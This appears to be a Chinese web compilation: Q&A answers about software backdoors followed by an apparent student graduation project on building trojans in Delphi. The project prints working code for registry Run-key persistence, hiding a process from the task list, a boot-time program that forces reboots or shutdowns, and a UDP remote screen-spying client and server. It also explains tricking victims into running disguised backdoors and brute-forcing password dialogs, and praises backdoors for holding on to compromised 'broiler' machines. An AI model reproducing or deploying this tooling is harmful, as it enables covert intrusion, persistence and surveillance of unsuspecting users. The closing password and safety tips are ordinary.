1.某些公司组织做的xp版本的系统有后门,怎么回事?

2.什么是后门程序

3.电脑网络中的“后门”是什么意思?

某些公司组织做的xp版本的系统有后门,怎么回事?

装电脑系统留后门可以吗-装电脑系统留后门

我平时装的就是电脑公司快速装机版,客户一直都反应速度还不错..

至于有后门,这个问题没发现过..

肯定是有些不法公司,想谋取暴力,私自在上面动了手脚的..

什么是后门程序

后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。但是,如果这些后门被其他人知道,或是在发布软件之前没有删除后门程序,那么它就成了安全风险,容易被黑客当成漏洞进行攻击。与木马的关系  后门程序,跟我们通常所说的"木马"有联系也有区别.  联系在于:都是隐藏在用户系统中向外发送信息,而且本身具有一定权限,以便远程机器对本机的控制.  区别在于:木马是一个完整的软件,而后门则体积较小且功能都很单一.  而且,在病毒命名中,后门一般带有backdoor字样,而木马一般则是trojan字样.具体含义  后门程序又称特洛依木马,其用途在于潜伏在电脑中,从事搜集信息或便于黑客进入的动作。后门程序和电脑病毒最大的差别,在于后门程序不一定有自我复制的动作,也就是后门程序不一定会“感染”其它电脑。  后门是一种登录系统的方法,它不仅绕过系统已有的安全设置,而且还能挫败系统上各种增强的安全设置。后门的类型  后门包括从简单到奇特,有很多的类型。简单的后门可能只是建立一个新的账号,或者接管一个很少使用的账号;复杂的后门(包括木马)可能会绕过系统的安全认证而对系统有安全存取权。例如一个login程序,你当输入特定的密码时,你就能以管理员的权限来存取系统。  后门能相互关联,而且这个 技术被许多黑客所使用。例如,黑客可能使用密码破解一个或多个账号密码,黑客可能会建立一个或多个账号。一个黑客可以存取这个系统,黑客可能使用一些 技术或利用系统的某个漏洞来提升权限。黑客可能使用一些技术或利用系统的某个漏洞来提升权限。黑客可能会对系统的配置文件进行小部分的修改,以降低系统的防卫性能。也可能会安装一个木马程序,使系统打开一个安全漏洞,以利于黑客完全掌握系统。  以上是在网络上常见的对“后门”的解释,其实我们可以用很简单的一句话来概括它:后门就是留在计算机系统中,供某位特殊使用都通过某种特殊方式控制计算机系统的途径!——很显然,掌握好后门技术是每个网络安全爱好者不可或缺的一项基本技能!它能让你牢牢抓住肉鸡,让它永远飞不出你的五指山!  下文将以笔者从事网络安全多年的工作经验为基础,给广大的网络初级安全爱好者讲解一些网络上常 用的后门的种类和使用方法以及技巧,希望大家能在最短的时间内学习到最好的技术,提升自己的网络安全技术水平!后门的分类  后门可以按照很多方式来分类,标准不同自然分类就不同,为了便于大家理解,我们从技术方面来考虑后门程序的分类方法:网页后门  此类后门程序一般都是服务器上正常 的web服务来构造自己的连接方式,比如现在非常流行的ASP、cgi脚本后门等。线程插入后门  利用系统自身的某个服务或者线程,将后门程序插入到其中,具体原理原来《黑客防线》曾具体讲解过,感兴趣的朋友可以查阅。这也是现在最流行的一个后门技术。扩展后门  所谓的“扩展”,是指在功能上有大的提升,比普通的单一功能的后门有很强的使用性,这种后门本身就相当于一个小的安全工具包,能实现非常多的常驻见安全功能,适合新手使用————但是,功能越强,个人觉得反而脱郭后门“隐蔽”的初衷,具体看法就看各位使用都的喜好了。c/s后门  和传统的木马程序类似的控制方法,采用“客记端/服务端”的控制方式,通过某种特定的访问方式来启动后门进而控制服务器。

电脑网络中的“后门”是什么意思?

电脑网络中的“后门”即是网络的漏洞

一、问题的提出

"The Internet is now more like an unlocked diary,with millions of consumers divulging marketable details of their personal lives,from where they live to what they eat for dinner."这是著名匿名服务器站点Anonymizer上曾有过的一段话。是的,在不知不觉中,E时代已经到来,网络给我们的生活增添了绚丽与多彩。但是,在这五彩缤纷的世界下面,潜伏着一股黑潮暗流--黑客(HACKER)。这个名词越来越引起世人的关注,而且影响越来越大,关于黑客事件的报道也越来越多。黑客是伴随网络产生成长的,是指那些对电脑和网络有狂热兴趣的人,他们不断的研究电脑和网络知识,发现电脑和网络中的漏洞,喜欢挑战高难度的网络系统,千方百计的寻找网络中的大小漏洞,然后向网络管理员提出解决漏洞的建议。真正的黑客大多是赋有正义感的。他们不会恶意侵入他人系统,并且破坏系统程序和数据。但有一些人特别崇拜黑客,喜欢利用电脑网络四处捣乱,到处寻找黑客软件,然后到处搞破坏,这类人应该是网络上最危险的家伙。现在的媒体把这类人是黑客混为一谈,"黑客"一词也因此成了贬义词。

现在的黑客软件十分多,Back Orific、冰河、YAI到处都有。接触网络后,我经常想:黑客软件到底是如何编制的?我能编一个黑客软件多好呀!这到不是想干坏事,因为在网络机房上课时,用一些黑客软件可以作为控制工具来控制学员的机器(如:冰河)。可见黑客软件本身不象病毒是个不好的东西,是可以用在正路上的。经过我的摸索,初步掌握了一些设计方法,主要是特洛伊木马程序。本次毕业设计,我设计一个模拟黑客入侵程序,一个恶作剧程序,一个可以截获网络上别人在机器上干些什么的程序,几个程序纯属用于实验,没有什么其它目的。在这里向各位老师汇报一下。程序设计的语言用的是PASCAL,用DELPHI 4进行编译。

二、"特洛伊木马"如何入侵系统

一个完整的"特洛伊木马"一般分为两个部分:一个是客户服务程序(Client),用它来控制已经打开"后门"的机器;另一个是"后门"程序,用它来开放某台机器。假设我们想控制某台电脑,那么我们通过一些手段来把"后门"程序传到该电脑中并使其运行,这样该电脑就变成了一台特殊的FTP服务器。然后我们使用Client程序就可以控制该电脑了。当然,后门程序如果不运行也就无法发挥作用。因此,就要"诱骗"别人使用后门程序。如果是朋友或熟人,利用他们的信任让他运行就行了;要是陌生人,可以在聊天室中和他们套近乎,一旦取得信任,把程序发给他们,诱骗其运行。当然,程序要隐蔽一些,例如可以把后门程序改名,变为README之类,或改变后缀,变成GIF、BMP等,当他们双击这些文件后就上了"贼船"了。也可以用WINZIP的把后门程序和一些东西制作成一个自解压包,然后利用设定解压后自动运行SETUP程序功能来运行指定的后门程序。总之,要利用一切手段使人家运行后门程序。

木马程序运行后,会通过不同的方式修改系统,以便以后启动系统后自动运行木马。修改方法一般是通过修改注册表:

Hkey_local_machine \Software\Microsoft\Windows\CurrentVersion\Run和

Hkey_local_machine\Software\Microsoft\Windows\CurrentVersion\RunServices中的项目是在系统开机时自动加载的,我们可以在这两添加键值,达到自动启动的目的。以下的这段代码可以修改注册表,并调用API函数判断系统目录,复制文件到其下,以实行入侵系统的目的:

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls,registry;

type

TForm1 = class(TForm)

Button1: TButton;

Button2: TButton;

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);

var

regf:tregistry;

sysdir:pchar;

temp:string;

begin

getmem(sysdir,256);

getsystemdirectory(sysdir,128);

temp:=sysdir+'\client.exe';

freemem(sysdir,256);

regf:=tregistry.create;

regf.rootkey:=hkey_local_machine;

regf.openkey('software\microsoft\windows\currentversion\run',true);

regf.writestring(' ',temp);

regf.free;

copyfile(pchar('hacker.exe'),pchar(temp),true);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

close;

end;

end.

也有些高明的程序可以感染系统文件,附着在这些程序文件中,以达到其目的。我还没有搞清楚这是怎样办到的。

在Windows中按下Ctrl+Alt+Del可以显示当前运行的程序,这样一来,我们的木马程序不是要露馅了吗?以下这段汇编代码可以很方便的嵌入DELPHI或C++中,让别人看不到你的程序,可以很好的隐藏:

asm

mov ebx,30h

push es

push fs

pop es

mov ebx,es:[ebx]

pop es

mov eax,10800000h

xchg [ebx+20h],eax

end;

为什么这段汇编代码可以隐藏程序呢?据资料分析:在WINDOWS 9X加载应用程序时,FS指向的段就是类似于DOS应用程序的PSP,里面保存着一些有关应用程序重要数据,按下Ctrl+Alt+Del后,对于一个应用程序,若没有可显示的ENABLE窗口的名字,则系统要检查上面程序段中的特定双字是不是10800000h,如果是就不显示这个应用程序的可执行文件的名字。

下面是一个恶作剧的程序,入侵计算机后,每次开机后,随机出现鼠标乱跑并发出怪叫、热启动、强行关机的现象,让你无法进入WINDOWS 9X。对于一般的计算机用户来说,因为找不出这个程序在何处,所以只能格式化系统区,重新安装系统。

program hacker;

uses

windows;

var temp:integer;

begin

asm

mov ebx,30h

push es

push fs

pop es

mov ebx,es:[ebx]

pop es

mov eax,10800000h

xchg [ebx+20h],eax

end;

randomize;

temp:=random(3);

if temp=0 then

while(true) do

begin

messagebeep(0);

SetCursorPos (random(640),random(480));

end

else if temp=1 then

ExitWindowsEx(EWX_REBOOT,0)

else ExitWindowsEx(EWX_SHUTDOWN,0);

end.

有的木马为了防止发现后被清除,在启动时会产生一个备份,一般是感染WINDOWS的系统文件,当木马被发现并清除后,备份会自动激活,使你依然处于远程黑手的控制。比如当前国最盛行的"冰河",首先会修改注册表的启动项目,将自己复制两份到系统中,分别为KERNEL32.EXE和SYSEXPLE.EXE,并且修改TXT文件的打开方式,一旦KERNEL32.EXE被删除,那么当打开一个TXT文件时,SYSEXPLE.EXE将再产生一个KERNEL32.EXE文件。

另外,有的木马还能在运行后修改文件名,或者复制感染系统后,进行自我销毁,使用户很难进行查找。

三、木马的种类

1、破坏型

惟一的功能就是破坏并且删除文件,可以自动的删除电脑上的DLL、INI、EXE文件。

2、密码发送型

可以找到隐藏密码并把它们发送到指定的信箱。有人喜欢把自己的各种密码以文件的形式存放在计算机中,认为这样方便;还有人喜欢用WINDOWS提供的密码记忆功能,这样就可以不必每次都输入密码了。许多黑客软件可以寻找到这些文件,把它们送到黑客手中。也有些黑客软件长期潜伏,记录操作者的键盘操作,从中寻找有用的密码。

在这里提醒一下,不要认为自己在文档中加了密码而把重要的保密文件存在公用计算机中,那你就大错特错了。别有用心的人完全可以用穷举法暴力破译你的密码。利用WINDOWS API函数EnumWindows和EnumChildWindows对当前运行的所有程序的所有窗口(包括控件)进行遍历,通过窗口标题查找密码输入和出确认重新输入窗口,通过按钮标题查找我们应该单击的按钮,通过ES_PASSWORD查找我们需要键入的密码窗口。向密码输入窗口发送WM_SETTEXT消息模拟输入密码,向按钮窗口发送WM_COMMAND消息模拟单击。在破解过程中,把密码保存在一个文件中,以便在下一个序列的密码再次进行穷举或多部机器同时进行分工穷举,直到找到密码为止。此类程序在黑客网站上唾手可得,精通程序设计的人,完全可以自编一个。

3、远程访问型

最广泛的是特洛伊马,只需有人运行了服务端程序,如果客户知道了服务端的IP地址,就可以实现远程控制。以下的程序可以实现观察"受害者"正在干什么,当然这个程序完全可以用在正道上的,比如监视学生机的操作。

程序中用的UDP(User Datagram Protocol,用户报文协议)是因特网上广泛采用的通信协议之一。与TCP协议不同,它是一种非连接的传输协议,没有确认机制,可靠性不如TCP,但它的效率却比TCP高,用于远程屏幕监视还是比较适合的。它不区分服务器端和客户端,只区分发送端和接收端,编程上较为简单,故选用了UDP协议。本程序中用了DELPHI提供的TNMUDP控件。

受控机程序部分:

让控件CUDP监视受控机的1111端口,当有数据发送到该口时,触发控件CUDP的ONDATARECEIVED事件;REMOTEPORT属性设为2222,当控件CUDP发送数据时,将数据发送到主控机的2222口。

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

NMUDP, ComCtrls;

type

Tclient = class(TForm)

cudp: TNMUDP;

Animate1: TAnimate;

procedure FormCreate(Sender: TObject);

procedure FormDestroy(Sender: TObject);

procedure cudpDataReceived(Sender: TComponent; NumberBytes: Integer;

FromIP: String);

private

{ Private declarations }

public

{ Public declarations }

end;

var

client: Tclient;

implementation

const bufsize=2048;//发送每一批数据的缓冲区大小

var

bmpstream:tmemorystream;

leftsize:longint;

{$R *.DFM}

procedure screencap(leftpos,toppos,rightpos,bottompos:integer);

var

recwidth,recheight:integer;

sourcedc,destdc,bhandle:integer;

bitmap:Tbitmap;

begin

recwidth:=rightpos-leftpos;

recheight:=bottompos-toppos;

sourcedc:=createdc('display','','',nil);

destdc:=createcompatibledc(sourcedc);

bhandle:=createcompatiblebitmap(sourcedc,recwidth,recheight);

selectobject(destdc,bhandle);

bitblt(destdc,0,0,recwidth,recheight,sourcedc,leftpos,toppos,srccopy);

bitmap:=tbitmap.Create;

bitmap.Handle:=bhandle;

bitmap.SaveToStream(bmpstream);

bmpstream.Position:=0;

leftsize:=bmpstream.Size;

bitmap.Free;

deletedc(destdc);

releasedc(bhandle,sourcedc);

end;

procedure Tclient.FormCreate(Sender: TObject);

begin

bmpstream:=tmemorystream.create;

end;

procedure Tclient.FormDestroy(Sender: TObject);

begin

bmpstream.free;

end;

procedure Tclient.cudpDataReceived(Sender: TComponent;

NumberBytes: Integer; FromIP: String);

var

ctrlcode:array[0..29] of char;

buf:array[0..bufsize-1] of char;

tmpstr:string;

sendsize,leftpos,toppos,rightpos,bottompos:integer;

begin

cudp.ReadBuffer(ctrlcode,numberbytes);//读取控制码

if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]='show'

then

begin//控制码前4位为"SHOW"表示主控机发出了截屏指令

if bmpstream.Size=0 then//没有数据可发,必须截屏生成数据

begin tmpstr:=strpas(ctrlcode);

tmpstr:=copy(tmpstr,5,length(tmpstr)-4);

leftpos:=strtoint(copy(tmpstr,1,pos(':',tmpstr)-1));

tmpstr:=copy(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));

toppos:=strtoint(copy(tmpstr,1,pos(':',tmpstr)-1));

tmpstr:=copy(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));

rightpos:=strtoint(copy(tmpstr,1,pos(':',tmpstr)-1));

bottompos:=strtoint(copy(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr)));

screencap(leftpos,toppos,rightpos,bottompos);//调用截屏函数

end;

if leftsize>bufsize then sendsize:=bufsize

else sendsize:=leftsize;

bmpstream.ReadBuffer(buf,sendsize);

leftsize:=leftsize-sendsize;

if leftsize=0 then bmpstream.Clear;

cudp.RemoteHost:=fromip;//FROMIP为主控机IP地址

cudp.SendBuffer(buf,sendsize);//将数据发到主控机的2222端口

end;

end;

end.

主控机程序部分:

让控件SUDP监视主控机的2222端口,当有数据发送到该口时,触发SUDP的ONDATARECEIVED事件;REMOTEPORT属性设为1111,当控件SUDP发送数据时,将数据发到受控机的1111口。

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ExtCtrls, StdCtrls, Buttons, NMUDP;

type

Tsever = class(TForm)

Edit1: TEdit;

Edit2: TEdit;

Label1: TLabel;

Label2: TLabel;

BitBtn1: TBitBtn;

Image1: TImage;

BitBtn2: TBitBtn;

sudp: TNMUDP;

procedure BitBtn2Click(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure FormDestroy(Sender: TObject);

procedure BitBtn1Click(Sender: TObject);

procedure sudpDataReceived(Sender: TComponent; NumberBytes: Integer;

FromIP: String);

private

{ Private declarations }

public

{ Public declarations }

end;

var

sever: Tsever;

implementation

const bufsize=2048;

var

rsltstream,tmpstream:tmemorystream;

{$R *.DFM}

procedure Tsever.BitBtn2Click(Sender: TObject);

begin

close;

end;

procedure Tsever.FormCreate(Sender: TObject);

begin

rsltstream:=tmemorystream.create;

tmpstream:=tmemorystream.create;

end;

procedure Tsever.FormDestroy(Sender: TObject);

begin

rsltstream.free;

tmpstream.free;

end;

procedure Tsever.BitBtn1Click(Sender: TObject);

var

reqcode:array[0..29] of char;

reqcodestr:string;

begin

reqcodestr:='show'+edit1.text;

strpcopy(reqcode,reqcodestr);

tmpstream.Clear;

rsltstream.Clear;

sudp.RemoteHost:=edit2.Text;

sudp.SendBuffer(reqcode,30);

end;

procedure Tsever.sudpDataReceived(Sender: TComponent; NumberBytes: Integer;

FromIP: String);

var reqcode:array[0..29] of char;

reqcodestr:string;

begin

reqcodestr:='show'+edit1.text;

strpcopy(reqcode,reqcodestr);

sudp.ReadStream(tmpstream);

rsltstream.CopyFrom(tmpstream,numberbytes);

if numberbytes<bufsize then

begin

rsltstream.Position:=0;

image1.Picture.Bitmap.LoadFromStream(rsltstream);

tmpstream.Clear;

rsltstream.Clear;

end

else

begin

tmpstream.Clear;

reqcode:='show';

sudp.RemoteHost:=edit2.Text;

sudp.SendBuffer(reqcode,30);

end;

end;

end.

四、如何预防黑客

黑客程序虽然破坏大,但不是不能防止的。

1、处理好你的密码

我们一般是用账号和密码来上网的,密码的设置无疑是十分讲求技巧的,许多人的安全防范意识差,不注意密码的设置,造成自己的账号被盗用。如今的黑客软件都是挂上密码字典,然后用穷举法进行破解,密码太简单,那么破解的可能性就大了。以下是一些注意事项。

⑴ 密码不可和账号相同,这是最容易被猜到的了。

⑵ 经常更改密码,拿到新账号后要立即更改密码,不要放久了。

⑶ 密码最好多于8个字符,字符越长,破解难度越大。例如WORD文档的密码大于8位后,目前的破解软件几乎无法攻破。另外,最好在密码中加入一些控制键,增加破译难度。千万不可用单一的字母或数字。

⑷ 有人喜欢用自己的生日、电话、身份证号码等作为密码,你不要这样做。

⑸ 密码尽量不要记显眼的纸张上,更不能保存在计算机中,不要贪图一时方便,用WINDOWS提供的保存密码功能。

2、不要运行不明真相的程序

无论都高明的黑客程序,只要你不去运行它,就无法害到你。所以,不可相信网友的话,不要去运行他提供的程序;不要随意去打开别人寄来的附件,无论他把附件中的或影片吹得如何好看;要到大的、著名的网站去下载软件,千万不要到不明真象的个人网页下载,因为在那儿你可能下载的病毒和黑客之手;如果你十分羡慕黑客,也请你不要下载所谓的黑客软件,否则你没害到别人,自己反被害了;如果你的机器上有防火墙,在上网时一定要打开,不要怕麻烦。

3、经常检查系统信息

上网过程中,突然觉得计算机工作不对劲时,仿佛感觉有人在遥远的地方遥控你。这时,你必须及时停止手中工作,运行"附件→系统工具→系统信息",在任务列表中寻找自己不熟悉的或者自己并没有运行的程序,一旦找到程序后应立即终止它的运行,以防后患。

4、最好不去聊天室

我一直认为聊天室没有什么意思,特别对于计算机专业人员,聊天只是浪费时间和金钱,有些恶意的破坏者利用网上聊天室的漏洞干坏事,例如聊天室支持JAVA、HTML等功能,然而,这小小的JAVA也隐藏"杀机",他可以发给你一个足以让你的机器当机的HTML语句。因为这些语句是不会在聊天室显示出来的,所以你被暗算了可能还不知道。防治的办法是在你的浏览器中关闭你的JAVA脚本。想聊天的,在公共机房聊聊算了,不能在自己的机器上聊天。